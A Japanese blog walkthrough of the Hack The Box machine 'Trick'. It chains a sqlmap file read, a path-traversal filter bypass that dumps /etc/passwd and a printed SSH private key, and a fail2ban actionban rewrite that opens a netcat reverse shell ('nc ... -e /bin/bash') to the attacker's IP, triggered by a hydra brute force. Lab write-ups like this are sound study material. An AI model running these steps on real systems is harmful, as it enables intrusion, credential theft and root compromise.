sqlmap -r post.txt -p username --file-read="/etc/nginx/nginx.conf"

以下は取得したNginxの設定ファイル/etc/nginx/nginx.confの中身。

└─$ cat _etc_nginx_nginx.conf           
user www-data;
worker_processes auto;
pid /run/nginx.pid;
include /etc/nginx/modules-enabled/*.conf;

events {
        worker_connections 768;
        # multi_accept on;
}

http {

        ##
        # Basic Settings
        ##

        sendfile on;
        tcp_nopush on;
        tcp_nodelay on;
        keepalive_timeout 65;
        types_hash_max_size 2048;
        # server_tokens off;

        # server_names_hash_bucket_size 64;
        # server_name_in_redirect off;

        include /etc/nginx/mime.types;
        default_type application/octet-stream;

        ##
        # SSL Settings
        ##

        ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # Dropping SSLv3, ref: POODLE
        ssl_prefer_server_ciphers on;

        ##
        # Logging Settings
        ##

        access_log /var/log/nginx/access.log;
        error_log /var/log/nginx/error.log;

        ##
        # Gzip Settings
        ##

        gzip on;

        # gzip_vary on;
        # gzip_proxied any;
        # gzip_comp_level 6;
        # gzip_buffers 16 8k;
        # gzip_http_version 1.1;
        # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;

        ##
        # Virtual Host Configs
        ##

        include /etc/nginx/conf.d/*.conf;
        include /etc/nginx/sites-enabled/*;
}


#mail {
#       # See sample authentication script at:
#       # http://wiki.nginx.org/ImapAuthenticateWithApachePhpScript
# 
#       # auth_http localhost/auth.php;
#       # pop3_capabilities "TOP" "USER";
#       # imap_capabilities "IMAP4rev1" "UIDPLUS";
# 
#       server {
#               listen     localhost:110;
#               protocol   pop3;
#               proxy      on;
#       }
# 
#       server {
#               listen     localhost:143;
#               protocol   imap;
#               proxy      on;
#       }
#}

仮想ホストの名前は載ってなかったが、仮想ホスト関連の設定ファイル群は/etc/nginx/conf.d//etc/nginx/sites-enabled/に保存されているらしい。

ググってみたところ、仮想ホストのデフォルトの設定ファイル名は/etc/nginx/sites-enabled/defaultらしい。

sqlmapで/etc/nginx/sites-enabled/defaultを取得。

sqlmap -r post.txt -p username --file-read="/etc/nginx/sites-enabled/default"

以下は取得した/etc/nginx/sites-enabled/defaultの中身。

└─$ cat _etc_nginx_sites-enabled_default
server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name trick.htb;
        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}


server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        root /var/www/payroll;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm.sock;
        }
}

preprod-marketing.trick.htbという仮想ホスト名を確認できた。(ドキュメントルートは/var/www/market

/etc/hostsに以下のエントリーを追加して、preprod-marketing.trick.htbにブラウザでアクセスしてみた。

10.129.227.180  preprod-marketing.trick.htb

サイトを少しブラウジングしたところ、http://preprod-marketing.trick.htb/index.php?page=<filename>で、HTMLファイルを読み込んでいることが分かった。

例えば、SERVICESタブをクリックすると、http://preprod-marketing.trick.htb/index.php?page=services.htmlという風にURLが変化した。

いかにもLocal File Inclusion (LFI)やRemote File Inclusion (RFI)に脆弱な感じがする。

試しにLFIの要領で/etc/passwdを読み出せるか試してみた。

curl -i http://preprod-marketing.trick.htb/index.php?page=../../../../../../../../../etc/passwd

curl -i http://preprod-marketing.trick.htb/index.php?page=%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

curl -i http://preprod-marketing.trick.htb/index.php?page=%252e%252e/%252e%252e/%252e%252e/etc/passwd

しかし、ファイルは読み出せず。。。

手っ取り早くindex.phpのソースコードを確認することにした。

sqlmapで/var/www/market/index.phpを取得。

sqlmap -r post.txt -p username --file-read="/var/www/market/index.php"

以下は取得したソースコード。

└─$ cat _var_www_market_index.php
<?php
$file = $_GET['page'];

if(!isset($file) || ($file=="index.php")) {
   include("/var/www/market/home.html");
}
else{
        include("/var/www/market/".str_replace("../","",$file));
}
?> 

案の定、index.php?page=<filename>で渡されたファイルを読み込む仕様だった。
ただし、ファイル名に../が含まれていた場合はそれを削除したうえでファイルを読み込む。

include("/var/www/market/".str_replace("../","",$file));

恐らくLFI対策としてこのような処理を追加したのだろう。しかし、以下のようにファイルパスを細工することで、上記のフィルターをすり抜けられた。

http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
└─$ curl -i http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 04 Apr 2025 13:09:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110::/nonexistent:/usr/sbin/nologin
tss:x:105:111:TPM2 software stack,,,:/var/lib/tpm:/bin/false
dnsmasq:x:106:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
rtkit:x:108:114:RealtimeKit,,,:/proc:/usr/sbin/nologin
pulse:x:109:118:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
speech-dispatcher:x:110:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/usr/sbin/nologin
saned:x:112:121::/var/lib/saned:/usr/sbin/nologin
colord:x:113:122:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin
geoclue:x:114:123::/var/lib/geoclue:/usr/sbin/nologin
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
Debian-gdm:x:116:124:Gnome Display Manager:/var/lib/gdm3:/bin/false
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
mysql:x:117:125:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:118:65534::/run/sshd:/usr/sbin/nologin
postfix:x:119:126::/var/spool/postfix:/usr/sbin/nologin
bind:x:120:128::/var/cache/bind:/usr/sbin/nologin
michael:x:1001:1001::/home/michael:/bin/bash

/etc/passwdの読み出しに成功。上記より、michaelというユーザー名とそのホームディレクトリ/home/michaelが判明。

先ほどと同じ要領で一般ユーザーのフラグ/home/michael/user.txtを取得できた。

└─$ curl -i http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/user.txt
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 04 Apr 2025 13:13:20 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

9410ca5e2728650f8e11<REDACTED>

続いては標的マシンへの侵入である。LFIでユーザーmichaelのSSH秘密鍵を取得できるか試してみた。

└─$ curl -i http://preprod-marketing.trick.htb/index.php?page=....//....//....//home/michael/.ssh/id_rsa
HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Fri, 04 Apr 2025 13:16:23 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABFwAAAAdzc2gtcn
NhAAAAAwEAAQAAAQEAwI9YLFRKT6JFTSqPt2/+7mgg5HpSwzHZwu95Nqh1Gu4+9P+ohLtz
c4jtky6wYGzlxKHg/Q5ehozs9TgNWPVKh+j92WdCNPvdzaQqYKxw4Fwd3K7F4JsnZaJk2G
YQ2re/gTrNElMAqURSCVydx/UvGCNT9dwQ4zna4sxIZF4HpwRt1T74wioqIX3EAYCCZcf+
4gAYBhUQTYeJlYpDVfbbRH2yD73x7NcICp5iIYrdS455nARJtPHYkO9eobmyamyNDgAia/
Ukn75SroKGUMdiJHnd+m1jW5mGotQRxkATWMY5qFOiKglnws/jgdxpDV9K3iDTPWXFwtK4
1kC+t4a8sQAAA8hzFJk2cxSZNgAAAAdzc2gtcnNhAAABAQDAj1gsVEpPokVNKo+3b/7uaC
DkelLDMdnC73k2qHUa7j70/6iEu3NziO2TLrBgbOXEoeD9Dl6GjOz1OA1Y9UqH6P3ZZ0I0
+93NpCpgrHDgXB3crsXgmydlomTYZhDat7+BOs0SUwCpRFIJXJ3H9S8YI1P13BDjOdrizE
hkXgenBG3VPvjCKiohfcQBgIJlx/7iABgGFRBNh4mVikNV9ttEfbIPvfHs1wgKnmIhit1L
jnmcBEm08diQ716hubJqbI0OACJr9SSfvlKugoZQx2Iked36bWNbmYai1BHGQBNYxjmoU6
IqCWfCz+OB3GkNX0reINM9ZcXC0rjWQL63hryxAAAAAwEAAQAAAQASAVVNT9Ri/dldDc3C
aUZ9JF9u/cEfX1ntUFcVNUs96WkZn44yWxTAiN0uFf+IBKa3bCuNffp4ulSt2T/mQYlmi/
KwkWcvbR2gTOlpgLZNRE/GgtEd32QfrL+hPGn3CZdujgD+5aP6L9k75t0aBWMR7ru7EYjC
tnYxHsjmGaS9iRLpo79lwmIDHpu2fSdVpphAmsaYtVFPSwf01VlEZvIEWAEY6qv7r455Ge
U+38O714987fRe4+jcfSpCTFB0fQkNArHCKiHRjYFCWVCBWuYkVlGYXLVlUcYVezS+ouM0
fHbE5GMyJf6+/8P06MbAdZ1+5nWRmdtLOFKF1rpHh43BAAAAgQDJ6xWCdmx5DGsHmkhG1V
PH+7+Oono2E7cgBv7GIqpdxRsozETjqzDlMYGnhk9oCG8v8oiXUVlM0e4jUOmnqaCvdDTS
3AZ4FVonhCl5DFVPEz4UdlKgHS0LZoJuz4yq2YEt5DcSixuS+Nr3aFUTl3SxOxD7T4tKXA
fvjlQQh81veQAAAIEA6UE9xt6D4YXwFmjKo+5KQpasJquMVrLcxKyAlNpLNxYN8LzGS0sT
AuNHUSgX/tcNxg1yYHeHTu868/LUTe8l3Sb268YaOnxEbmkPQbBscDerqEAPOvwHD9rrgn
In16n3kMFSFaU2bCkzaLGQ+hoD5QJXeVMt6a/5ztUWQZCJXkcAAACBANNWO6MfEDxYr9DP
JkCbANS5fRVNVi0Lx+BSFyEKs2ThJqvlhnxBs43QxBX0j4BkqFUfuJ/YzySvfVNPtSb0XN
jsj51hLkyTIOBEVxNjDcPWOj5470u21X8qx2F3M4+YGGH+mka7P+VVfvJDZa67XNHzrxi+
IJhaN0D5bVMdjjFHAAAADW1pY2hhZWxAdHJpY2sBAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

すんなりと秘密鍵/home/michael/.ssh/id_rsaをゲット。

奪った秘密鍵で、標的マシンへSSH接続できた。(秘密鍵のパスフレーズはなし)

chmod 600 michael_id_rsa
ssh -i michael_id_rsa michael@$RHOST
└─$ ssh -i michael_id_rsa michael@$RHOST
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ 

初期侵入に成功したので、残るは権限昇格である。

標的マシンを列挙したところ、ユーザーmichaelはFail2Banサービスをsudoつきで再起動できることが判明。

michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

また、/etc/fail2ban/action.dに書き込み可能なことも分かった。

michael@trick:~$ find / -writable 2>/dev/null | grep -v proc | cut -d "/" -f 1,2,3,4 | sort -u
/dev/char/10:229
/dev/char/10:57
/dev/char/1:3
/dev/char/1:5
/dev/char/1:7
/dev/char/1:8
/dev/char/1:9
/dev/char/5:0
/dev/char/5:2
/dev/fd
/dev/full
/dev/fuse
/dev/log
/dev/mqueue
/dev/net/tun
/dev/null
/dev/ptmx
/dev/pts/0
/dev/random
/dev/shm
/dev/stderr
/dev/stdin
/dev/stdout
/dev/tty
/dev/urandom
/dev/vsock
/dev/zero
/etc/fail2ban/action.d
/home/michael
/home/michael/.bash_history
/home/michael/.bash_logout
/home/michael/.bashrc
/home/michael/.cache

--<snipped>--

"fail2ban privilege escalation"でググってみたところ、こことかここで攻撃手法が分かりやすく解説されていた。

以下は権限昇格の前提条件。

  • Fail2Banサービスをroot権限で再起動できること。
  • Fail2Banの設定ファイルiptables.confiptables-multiport.confに書き込み可能なこと。もしくは/etc/fail2ban/action.dに対して書き込み可能なこと。

今回は上記の条件を満たしている。

以下は権限昇格の流れ。

  • iptables.conf または iptables-multiport.confactionbanフィールドを書き換えて、任意コマンドを実行できるようにする。
  • Fail2Banサービスを再起動して、上記の設定変更を反映させる。
  • Fail2BanのBan行為に該当するアクションを行う。(連続でのSSH接続の失敗など)
  • Ban行為によりactionbanフィールドで指定したコマンドがroot権限で実行される。

権限昇格をする前に、まずは環境チェック。

Fail2Banのバージョン確認。

michael@trick:~$ fail2ban-client --version
Fail2Ban v0.10.2

Copyright (c) 2004-2008 Cyril Jaquier, 2008- Fail2Ban Contributors
Copyright of modifications held by their respective authors.
Licensed under the GNU General Public License v2 (GPL).

バージョンは0.10.2と判明。(先述したサイトによるとバージョンが1.0.1より新しい場合は、権限昇格に際してiptables.confを書き換える必要があるらしい)

Fail2Banの実行状況の確認。

michael@trick:~$ systemctl status fail2ban
● fail2ban.service - Fail2Ban Service
   Loaded: loaded (/lib/systemd/system/fail2ban.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2025-04-04 14:54:15 CEST; 1h 2min ago
     Docs: man:fail2ban(1)
  Process: 714 ExecStartPre=/bin/mkdir -p /var/run/fail2ban (code=exited, status=0/SUCCESS)
 Main PID: 716 (fail2ban-server)
    Tasks: 3 (limit: 2315)
   Memory: 15.7M
   CGroup: /system.slice/fail2ban.service
           └─716 /usr/bin/python3 /usr/bin/fail2ban-server -xf start

Fail2Banは現在 実行中だった。

Fail2Banの実行ユーザーの確認。

michael@trick:~$ ps aux | grep -i fail2ban
root        716  0.0  1.0 248664 20584 ?        Ssl  14:54   0:01 /usr/bin/python3 /usr/bin/fail2ban-server -xf start
michael    2026  0.0  0.0   6204   888 pts/0    S+   15:52   0:00 grep -i fail2ban

root権限で実行中だった。

続いて、/etc/fail2ban/jail.confより諸々の設定を確認。

[DEFAULT]

#
# MISCELLANEOUS OPTIONS
#

# "ignorself" specifies whether the local resp. own IP addresses should be ignored
# (default is true). Fail2ban will not ban a host which matches such addresses.
#ignorself = true

# "ignoreip" can be a list of IP addresses, CIDR masks or DNS hosts. Fail2ban
# will not ban a host which matches an address in this list. Several addresses
# can be defined using space (and/or comma) separator.
#ignoreip = 127.0.0.1/8 ::1

# External command that will take an tagged arguments to ignore, e.g. <ip>,
# and return true if the IP is to be ignored. False otherwise.
#
# ignorecommand = /path/to/command <ip>
ignorecommand =

# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

# A host is banned if it has generated "maxretry" during the last "findtime"
# seconds.
findtime  = 10s

# "maxretry" is the number of failures before a host get banned.
maxretry = 5

上記によると、あるアクションが10秒間に5回失敗した場合、10秒間 遮断 (Ban)される。
例えば、あるIPアドレスが標的マシンへのSSH接続に10秒間で5回失敗した場合、そのIPアドレスは10秒間 遮断される。

# Format of user-agent https://tools.ietf.org/html/rfc7231#section-5.5.3
fail2ban_agent = Fail2Ban/%(fail2ban_version)s

#
# Action shortcuts. To be used to define action parameter

# Default banning action (e.g. iptables, iptables-new,
# iptables-multiport, shorewall, etc) It is used to define
# action_* variables. Can be overridden globally or per
# section within jail.local file
banaction = iptables-multiport
banaction_allports = iptables-allports

上記より、Ban行為に対してどのようなアクションを取るかは、iptables-multiport.confの記述に則ることが分かる。

さて、先述したサイトによると、SSHがFail2Banの監視対象の場合、jail.confもしくはjail.localに以下のように記述があるらしい。

[sshd]
enabled = true

しかし、jail.confではSSHに関する設定はコメントアウトされていた。

#
# [sshd]
# enabled = true
#

また、jail.localというファイルも見つからなかった。

michael@trick:/etc$ find fail2ban/ -name jail.local 2>/dev/null
michael@trick:/etc$

代わりに/etc/fail2ban/jail.d/defaults-debian.confというファイルの中に以下の記述を見つけた。

michael@trick:/etc$ cat /etc/fail2ban/jail.d/defaults-debian.conf
[sshd]
enabled = true

多分だが、このdefaults-debian.confjail.localに相当するのではないだろうか。
確証はなかったが、このまま権限昇格に移ることにした。

まずは既存のiptables-multiport.confのファイル名を変更する。

mv /etc/fail2ban/action.d/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf.bak

続いて、michaelのホームディレクトリにiptables-multiport.confという空ファイルを作成。

touch /home/michael/iptables-multiport.conf

/home/michael/iptables-multiport.confをエディタで開いて編集。基本的にはもともとあった/etc/fail2ban/action.d/iptables-multiport.confの内容をコピペするだけだが、以下の一文を追加する。

#actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>
actionban = nc 10.10.16.174 53 -e /bin/bash

上記より、Fail2BanがBan行為を検知した場合、攻撃マシンへリバースシェルを張る。

作成したiptables-multiport.conf/etc/fail2ban/action.dへコピーする。

cp /home/michael/iptables-multiport.conf /etc/fail2ban/action.d/iptables-multiport.conf

Fail2Banを再起動して、設定変更を反映させる。

sudo /etc/init.d/fail2ban restart

hydraでSSHブルートフォースを行う。

hydra -l "root" -P /usr/share/wordlists/rockyou.txt ssh://$RHOST -V -f

ほどなくしてFail2BanがBan行為を検知して、actionbanで指定されたコマンド (nc 10.10.16.174 53 -e /bin/bash)を実行。無事、シェルがroot権限で起動した。

└─$ rlwrap nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.16.174] from (UNKNOWN) [10.129.227.180] 39554
whoami
root
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
root@trick:/# whoami
whoami
root
root@trick:/# id
id
uid=0(root) gid=0(root) groups=0(root)

rootユーザーのフラグ/root/root.txtを取得。

root@trick:/# cat /root/root.txt
cat /root/root.txt
8e6e677a4331d1ae61fbad5<REDACTED>

Leave a Reply

Your email address will not be published. Required fields are marked *


The reCAPTCHA verification period has expired. Please reload the page.